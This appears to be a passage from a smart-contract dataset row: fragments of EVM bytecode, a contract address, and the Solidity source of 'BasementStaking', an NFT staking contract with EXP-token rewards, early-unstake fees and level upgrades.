ffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461156d90919063ffffffff16565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600560009054906101000a900460ff1681565b6000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610bb757600080fd5b339050610c0c82600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461156d90919063ffffffff16565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c648260015461156d90919063ffffffff16565b6001819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a25050565b600080600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610dcd576000600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e61565b610de0838261156d90919063ffffffff16565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60066020528060005260406000206000915090505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156110205780601f10610ff557610100808354040283529160200191611020565b820191906000526020600020905b81548152906001019060200180831161100357829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561106557600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156110b357600080fd5b61110582600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461156d90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061119a82600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461158690919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60006112dd82600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461158690919063ffffffff16565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561152a57600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600082821115151561157b57fe5b818303905092915050565b600080828401905083811015151561159a57fe5b80915050929150505600a165627a7a723058207940416bf81b47d0f16457e40fe6083fe3d3aa8243d5d248d82a4f7ecedc839c0029
|
{"success": true, "error": null, "results": {}}
| 6,151 |
0xcf510610B69417453d0cf67D02C71Fd97089825f
|
//SPDX-License-Identifier: GPL v3
pragma solidity >=0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IERC721Receiver {
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4);
}
interface BDERC721 {
function balanceOf(address wallet) external view returns(uint256);
function ownerOf(uint256 tokenID) external view returns(address);
function getApproved(uint256 tokenId) external view returns (address operator);
function safeTransferFrom(address from,address to,uint256 tokenId) external;
}
interface BDERC20 {
function balanceOf(address wallet) external view returns(uint256);
function allowance(address owner, address spender) external view returns(uint256);
function transferFrom(address owner, address spender, uint256 amount) external returns(bool);
function transfer(address reciever, uint256 amount) external returns(bool);
function burnFrom(address owner, uint256 amount) external returns(bool);
}
contract BasementStaking is Ownable {
struct NFTStaking {
// check if the NFT contract address is supported
bool supported;
// the cost of the next level
uint256 advanceCost;
// the reward of the next level
uint256 tsReward;
// maximum staking amount
uint256 maxStakingS;
// min staking time before reward
uint256 tsForReward;
// the addresses of all the stakers for this NFT contract
address[] stakers;
}
mapping(address => NFTStaking) supportedNFTs;
address public EXP;
uint256 private baseCost = 1 ether;
struct Stakes {
address nftOwner;
uint256 lockTS;
uint256 lockAccumlation;
uint256 tokenLevel;
bool isStaked;
}
function onERC721Received(address , address , uint256 , bytes calldata ) public pure returns(bytes4){
return(IERC721Receiver.onERC721Received.selector);
}
constructor(address experience){
EXP = experience;
}
// nft contract => tokenids
mapping(address => mapping(uint256 => Stakes)) NFTstakes;
// nft contract => wallet => nfts
mapping(address => mapping(address => uint256[])) walletNFTs;
event NFTUpgraded(address indexed NFTcontract, address indexed NFTOwner, uint256 tokenID, uint256 oldLevel, uint256 newLevel);
/**
nftContract => contract of the nft
_advCost => cost to level up
_reward => amount of $EXP to return after X amount of time
_maxStakeTime => maximum amount to stake in seconds
_timeToReward => X amount of time before a staked NFT can get the _reward
*/
function changeStakingProps(address nftContract, uint256 _advCost, uint256 _reward, uint256 _maxStakeTime, uint256 _timeToReward) external onlyOwner {
supportedNFTs[nftContract].supported = true;
supportedNFTs[nftContract].advanceCost = _advCost;
supportedNFTs[nftContract].tsReward = _reward;
supportedNFTs[nftContract].maxStakingS = _maxStakeTime;
supportedNFTs[nftContract].tsForReward = _timeToReward;
}
function UnsupportNFT(address nftContract) external onlyOwner {
supportedNFTs[nftContract].supported = false;
}
function recieve20Payment(address wallet, uint256 amount) internal returns(bool){
if(amount == 0){
return true;
}
amount = amount*baseCost;
require(BDERC20(EXP).allowance(wallet, address(this)) >= amount, "DwellersStaking: Need to approve EXP");
require(BDERC20(EXP).transferFrom(wallet, address(this), amount), "DwellersStaking: Need to transfer EXP");
return true;
}
function burn20Payment(address wallet, uint256 amount) internal returns(bool){
if(amount == 0){
return true;
}
amount = amount*baseCost;
require(BDERC20(EXP).allowance(wallet, address(this)) >= amount, "DwellersStaking: Need to approve EXP");
require(BDERC20(EXP).burnFrom(wallet, amount), "DwellersStaking: Need to BURN EXP");
return true;
}
function send20Payment(address wallet, uint256 amount) internal returns(bool){
if(amount == 0){
return true;
}
amount = amount*baseCost;
require(BDERC20(EXP).balanceOf(address(this)) >= amount, "DwellersStaking: Not enough funds");
require(BDERC20(EXP).transfer(wallet, amount), "DwellersStaking: Cannot transfer funds");
return true;
}
function recieve721Token(address nftContract, address wallet, uint256 tokenID) internal returns(bool) {
require(BDERC721(nftContract).ownerOf(tokenID) == wallet, "DwellersStaking: Must be the owner of the NFT to stake");
require(BDERC721(nftContract).getApproved(tokenID) == address(this), "DwellersStaking: Must approve BasementStaking to stake");
BDERC721(nftContract).safeTransferFrom(wallet, address(this), tokenID);
return true;
}
function send721Token(address nftContract, address wallet, uint256 tokenID) internal returns(bool) {
require(BDERC721(nftContract).ownerOf(tokenID) == address(this), "DwellersStaking: does NOT own this NFT");
BDERC721(nftContract).safeTransferFrom(address(this), wallet, tokenID);
return true;
}
function rev721(address nftContract) external onlyOwner{
address[] memory allStakers = supportedNFTs[nftContract].stakers;
for(uint256 i=0; i<allStakers.length; i++){
uint256[] memory _allWalletNFTs = walletNFTs[nftContract][allStakers[i]];
for(uint256 j=0; j<_allWalletNFTs.length; j++){
send721Token(nftContract, allStakers[i], _allWalletNFTs[j]);
}
}
}
function isNFTcontractSupported(address nftContract) public view returns(bool){
return(supportedNFTs[nftContract].supported);
}
function getAllNFTsStaked(address nftContract, address wallet) public view returns(uint256[] memory allNFTs){
require(isNFTcontractSupported(nftContract), "DwellersStaking: This NFT contract is not supported");
return(walletNFTs[nftContract][wallet]);
}
function getNFTowner(address nftContract, uint256 tokenID) public view returns(address){
if(NFTstakes[nftContract][tokenID].nftOwner == address(0)){
address _owner = BDERC721(nftContract).ownerOf(tokenID);
require(_owner != address(0),"This NFT has not been minted yet");
return _owner;
}
return(NFTstakes[nftContract][tokenID].nftOwner);
}
function getNFTLevel(address nftContract, uint256 tokenID) public view returns(uint256){
return(NFTstakes[nftContract][tokenID].tokenLevel);
}
function calcUpgradeLevels(uint256 amount, uint256 perlevelCost) public pure returns(uint256){
return((amount/perlevelCost));
}
function upgradeDweller(address nftContract, uint256 tokenID, uint256 expAmount) external {
require(isNFTcontractSupported(nftContract), "DwellersStaking: This NFT contract is not supported");
uint256 levelsCount = calcUpgradeLevels(expAmount, supportedNFTs[nftContract].advanceCost);
require(levelsCount != 0, "Cannot upgrade 0 levels, increase EXP");
require(burn20Payment(msg.sender, expAmount), "DwellersStaking: Need to spend EXP to upgrade");
require(getNFTowner(nftContract, tokenID) == msg.sender, "DwellersStaking: only the owner of the NFT can upgrade");
uint256 currentLevel = getNFTLevel(nftContract, tokenID);
NFTstakes[nftContract][tokenID].tokenLevel += levelsCount;
emit NFTUpgraded(nftContract, msg.sender, tokenID, currentLevel, (currentLevel+levelsCount));
}
function getAllNFTStakers(address nftContract) public view returns(address[] memory){
require(isNFTcontractSupported(nftContract), "DwellersStaking: This NFT contract is not supported");
return(supportedNFTs[nftContract].stakers);
}
function removeFromNFTStakers(address nftContract, address wallet) internal {
address[] storage _stakers = supportedNFTs[nftContract].stakers;
uint256 index =0;
for(uint256 i=0; i<_stakers.length; i++){
if(_stakers[i] == wallet){
index = i;
break;
}
}
if(index == _stakers.length-1){
_stakers.pop();
}else{
for(uint256 i=index; i<_stakers.length-1; i++){
_stakers[i] = _stakers[i+1];
}
_stakers.pop();
}
}
function removeFromWalletNFTs(address nftContract, address wallet, uint256 tokenID) internal {
uint256[] storage _wNFTs = walletNFTs[nftContract][wallet];
uint256 index = 0;
for(uint256 i=0; i<_wNFTs.length; i++){
if(_wNFTs[i] == tokenID){
index = i;
break;
}
}
for(uint256 i=index; i<_wNFTs.length-1; i++){
_wNFTs[i] = _wNFTs[i+1];
}
_wNFTs.pop();
}
function _safeRemoveStake(address nftContract, address wallet, uint256 tokenID) internal {
removeFromWalletNFTs(nftContract, wallet, tokenID);
removeFromNFTStakers(nftContract, wallet);
Stakes storage _stake = NFTstakes[nftContract][tokenID];
_stake.isStaked = false;
_stake.nftOwner = address(0);
_stake.lockTS = uint256(0);
}
function _safeAddStake(address nftContract, address wallet, uint256 tokenID) internal {
Stakes storage _stake = NFTstakes[nftContract][tokenID];
require(_stake.lockAccumlation <= supportedNFTs[nftContract].maxStakingS, "DwellersStaking: Cannot stake more than 2 years");
_stake.isStaked = true;
_stake.nftOwner = wallet;
_stake.lockTS = block.timestamp;
walletNFTs[nftContract][wallet].push(tokenID);
supportedNFTs[nftContract].stakers.push(wallet);
}
function getUnstakingFee(address nftContract, uint256 tokenID) external view returns(uint256){
Stakes memory _stake = NFTstakes[nftContract][tokenID];
NFTStaking memory stakingProps = supportedNFTs[nftContract];
uint256 unstakeFee = calcUnstakingFee(_stake.lockAccumlation, stakingProps.tsForReward, stakingProps.tsReward);
return(unstakeFee);
}
function unstakeDweller(address nftContract, uint256 tokenID) external {
require(isNFTcontractSupported(nftContract), "DwellersStaking: This NFT contract is not supported");
Stakes memory _stake = NFTstakes[nftContract][tokenID];
require(_stake.nftOwner == msg.sender, "DwellersStaking: cannot unstake an NFT that does not belong to the sender");
NFTStaking memory stakingProps = supportedNFTs[nftContract];
if(_stake.lockAccumlation < stakingProps.maxStakingS){
require(burn20Payment(msg.sender, calcUnstakingFee(_stake.lockAccumlation, stakingProps.tsForReward, stakingProps.tsReward)), "DwellersStaking: need to pay 33% of accumlated tokens to unstake early");
}
require(send721Token(nftContract, msg.sender, tokenID),"Unable to send the NFT back");
_safeRemoveStake(nftContract, msg.sender, tokenID);
}
function stakeDweller(address nftContract, uint256 tokenID) external {
require(isNFTcontractSupported(nftContract), "DwellersStaking: This NFT contract is not supported");
require(recieve721Token(nftContract, msg.sender, tokenID), "DwellersStaking: Unable to stake this NFT");
_safeAddStake(nftContract, msg.sender, tokenID);
}
function calcReward(uint256 lockTs, uint256 ts, uint256 rewardTime, uint256 rewardAmount) public pure returns(uint256 reward, uint256 accumlation){
uint256 deltaT = (ts - lockTs);
reward = ((deltaT/rewardTime)*rewardAmount);
accumlation = ((deltaT/rewardTime)*rewardTime);
}
function calcUnstakingFee(uint256 accumlation, uint256 rewardTime, uint256 rewardAmount) public pure returns(uint256 unstakingFee){
return((accumlation*rewardAmount*33)/(rewardTime*100));
}
function avalToClaim(address nftContract, address wallet) public view returns(uint256 rewardable){
require(isNFTcontractSupported(nftContract), "DwellersStaking: This NFT contract is not supported");
uint256[] memory _wallet = getAllNFTsStaked(nftContract, wallet);
if(_wallet.length == 0){
return 0;
}
uint256 ts = block.timestamp;
NFTStaking memory stakingProps = supportedNFTs[nftContract];
for(uint256 i=0; i<_wallet.length; i++){
if((NFTstakes[nftContract][_wallet[i]].lockTS + stakingProps.tsForReward <= ts) && (NFTstakes[nftContract][_wallet[i]].lockAccumlation < stakingProps.maxStakingS)){
Stakes memory _stake = NFTstakes[nftContract][_wallet[i]];
(uint256 _rwrd,) = calcReward(_stake.lockTS, ts, stakingProps.tsForReward, stakingProps.tsReward);
rewardable += _rwrd;
}
}
}
function getStakes(address nftContract, uint256 tokenID) public view returns(Stakes memory){
require(isNFTcontractSupported(nftContract), "DwellersStaking: This NFT contract is not supported");
return(NFTstakes[nftContract][tokenID]);
}
function ClaimStakingRewards(address nftContract) external {
require(isNFTcontractSupported(nftContract), "DwellersStaking: This NFT contract is not supported");
uint256[] memory _wallet = getAllNFTsStaked(nftContract, msg.sender);
require(_wallet.length > 0, "DwellersStaking: You do not have any staked NFTs");
uint256 rewardable = 0;
uint256 ts = block.timestamp;
NFTStaking memory stakingProps = supportedNFTs[nftContract];
for(uint256 i=0; i<_wallet.length; i++){
if((NFTstakes[nftContract][_wallet[i]].lockTS + stakingProps.tsForReward <= ts) && (NFTstakes[nftContract][_wallet[i]].lockAccumlation < stakingProps.maxStakingS)){
Stakes storage _stake = NFTstakes[nftContract][_wallet[i]];
(uint256 _rwrd, uint256 _rAcc) = calcReward(_stake.lockTS, ts ,stakingProps.tsForReward, stakingProps.tsReward);
rewardable += _rwrd;
_stake.lockTS = ts;
_stake.lockAccumlation += _rAcc;
}
}
require(send20Payment(msg.sender, rewardable), "DwellersStaking: Unable to reward staking");
}
}
|
0x608060405234801561001057600080fd5b506004361061014d5760003560e01c80634432ba7f116100c3578063715018a61161007c578063715018a61461042157806374a438601461042b57806381bf9bfb146104475780638da5cb5b14610463578063a13124d414610481578063f2fde38b1461049d5761014d565b80634432ba7f1461033c57806347ad9c531461036d5780634cb8a68b1461038957806359e238ec146103b957806363cc705b146103d55780637069ed52146103f15761014d565b80631cc6d659116101155780631cc6d6591461021c57806321f3310a1461024c578063262498ef1461027c578063359411ea146102ac57806343e82895146102dc578063440c033e1461030c5761014d565b80630675772c1461015257806308af452e1461016e5780631154154b1461019e578063150b7a02146101ce5780631a12cd47146101fe575b600080fd5b61016c600480360381019061016791906136c0565b6104b9565b005b6101886004803603810190610183919061350b565b6106b2565b6040516101959190613dcf565b60405180910390f35b6101b860048036038101906101b39190613565565b6107ca565b6040516101c59190613df1565b60405180910390f35b6101e860048036038101906101e391906135a5565b6108e7565b6040516101f59190613e2e565b60405180910390f35b6102066108fc565b6040516102139190613d2b565b60405180910390f35b6102366004803603810190610231919061362d565b610922565b6040516102439190614104565b60405180910390f35b610266600480360381019061026191906137d5565b610b57565b6040516102739190614104565b60405180910390f35b6102966004803603810190610291919061362d565b610b91565b6040516102a39190614104565b60405180910390f35b6102c660048036038101906102c19190613795565b610bef565b6040516102d39190614104565b60405180910390f35b6102f660048036038101906102f19190613565565b610c05565b6040516103039190614104565b60405180910390f35b6103266004803603810190610321919061362d565b610ff6565b6040516103339190613d2b565b60405180910390f35b61035660048036038101906103519190613828565b611222565b60405161036492919061411f565b60405180910390f35b6103876004803603810190610382919061366d565b611271565b005b6103a3600480360381019061039e919061362d565b611500565b6040516103b091906140e9565b60405180910390f35b6103d360048036038101906103ce919061362d565b611642565b005b6103ef60048036038101906103ea919061350b565b6119d4565b005b61040b6004803603810190610406919061350b565b611dc7565b6040516104189190613e13565b60405180910390f35b610429611e20565b005b6104456004803603810190610440919061350b565b611ea8565b005b610461600480360381019061045c919061362d565b611f82565b005b61046b612023565b6040516104789190613d2b565b60405180910390f35b61049b6004803603810190610496919061350b565b61204c565b005b6104b760048036038101906104b2919061350b565b612301565b005b6104c16123f9565b73ffffffffffffffffffffffffffffffffffffffff166104df612023565b73ffffffffffffffffffffffffffffffffffffffff1614610535576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161052c90613fe9565b60405180910390fd5b60018060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160006101000a81548160ff02191690831515021790555083600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001018190555082600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002018190555081600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003018190555080600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600401819055505050505050565b60606106bd82611dc7565b6106fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106f390614089565b60405180910390fd5b600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206005018054806020026020016040519081016040528092919081815260200182805480156107be57602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311610774575b50505050509050919050565b60606107d583611dc7565b610814576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161080b90614089565b60405180910390fd5b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208054806020026020016040519081016040528092919081815260200182805480156108da57602002820191906000526020600020905b8154815260200190600101908083116108c6575b5050505050905092915050565b600063150b7a0260e01b905095945050505050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008481526020019081526020016000206040518060a00160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016001820154815260200160028201548152602001600382015481526020016004820160009054906101000a900460ff16151515158152505090506000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206040518060c00160405290816000820160009054906101000a900460ff161515151581526020016001820154815260200160028201548152602001600382015481526020016004820154815260200160058201805480602002602001604051908101604052809291908181526020018280548015610b2557602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311610adb575b50505050508152505090506000610b49836040015183608001518460400151610b57565b905080935050505092915050565b6000606483610b669190614289565b60218386610b749190614289565b610b7e9190614289565b610b889190614258565b90509392505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002060030154905092915050565b60008183610bfd9190614258565b905092915050565b6000610c1083611dc7565b610c4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c4690614089565b60405180910390fd5b6000610c5b84846107ca565b9050600081511415610c71576000915050610ff0565b60004290506000600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206040518060c00160405290816000820160009054906101000a900460ff161515151581526020016001820154815260200160028201548152602001600382015481526020016004820154815260200160058201805480602002602001604051908101604052809291908181526020018280548015610d8a57602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311610d40575b505050505081525050905060005b8351811015610feb57828260800151600460008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000878581518110610dfb57610dfa614461565b5b6020026020010151815260200190815260200160002060010154610e1f9190614202565b11158015610e9d57508160600151600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000868481518110610e8157610e80614461565b5b6020026020010151815260200190815260200160002060020154105b15610fd8576000600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000868481518110610ef857610ef7614461565b5b602002602001015181526020019081526020016000206040518060a00160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016001820154815260200160028201548152602001600382015481526020016004820160009054906101000a900460ff16151515158152505090506000610fc482602001518686608001518760400151611222565b5090508087610fd39190614202565b965050505b8080610fe39061438b565b915050610d98565b505050505b92915050565b60008073ffffffffffffffffffffffffffffffffffffffff16600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156111a55760008373ffffffffffffffffffffffffffffffffffffffff16636352211e846040518263ffffffff1660e01b81526004016110da9190614104565b60206040518083038186803b1580156110f257600080fd5b505afa158015611106573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061112a9190613538565b9050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561119c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119390613ea9565b60405180910390fd5b8091505061121c565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690505b92915050565b6000806000868661123391906142e3565b90508385826112429190614258565b61124c9190614289565b925084858261125b9190614258565b6112659190614289565b91505094509492505050565b61127a83611dc7565b6112b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112b090614089565b60405180910390fd5b600061130782600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154610bef565b9050600081141561134d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134490613fc9565b60405180910390fd5b6113573383612401565b611396576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138d90613ec9565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff166113b78585610ff6565b73ffffffffffffffffffffffffffffffffffffffff161461140d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161140490613f69565b60405180910390fd5b60006114198585610b91565b905081600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000868152602001908152602001600020600301600082825461147e9190614202565b925050819055503373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fa6687368a5cc945ad19d2bd6af11389d5d69ff27bafa781d91faaa77e9ffcf04868486866114e29190614202565b6040516114f193929190614148565b60405180910390a35050505050565b611508613405565b61151183611dc7565b611550576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154790614089565b60405180910390fd5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008381526020019081526020016000206040518060a00160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016001820154815260200160028201548152602001600382015481526020016004820160009054906101000a900460ff161515151581525050905092915050565b61164b82611dc7565b61168a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161168190614089565b60405180910390fd5b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008381526020019081526020016000206040518060a00160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016001820154815260200160028201548152602001600382015481526020016004820160009054906101000a900460ff16151515158152505090503373ffffffffffffffffffffffffffffffffffffffff16816000015173ffffffffffffffffffffffffffffffffffffffff16146117ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117e190613e49565b60405180910390fd5b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206040518060c00160405290816000820160009054906101000a900460ff1615151515815260200160018201548152602001600282015481526020016003820154815260200160048201548152602001600582018054806020026020016040519081016040528092919081815260200182805480156118fe57602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190600101908083116118b4575b50505050508152505090508060600151826040015110156119795761193933611934846040015184608001518560400151610b57565b612401565b611978576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161196f90613f89565b60405180910390fd5b5b61198484338561260c565b6119c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119ba90613fa9565b60405180910390fd5b6119ce84338561277e565b50505050565b6119dd81611dc7565b611a1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a1390614089565b60405180910390fd5b6000611a2882336107ca565b90506000815111611a6e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a6590614029565b60405180910390fd5b6000804290506000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206040518060c00160405290816000820160009054906101000a900460ff161515151581526020016001820154815260200160028201548152602001600382015481526020016004820154815260200160058201805480602002602001604051908101604052809291908181526020018280548015611b8857602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311611b3e575b505050505081525050905060005b8451811015611d7657828260800151600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000888581518110611bf957611bf8614461565b5b602002602001015181526020019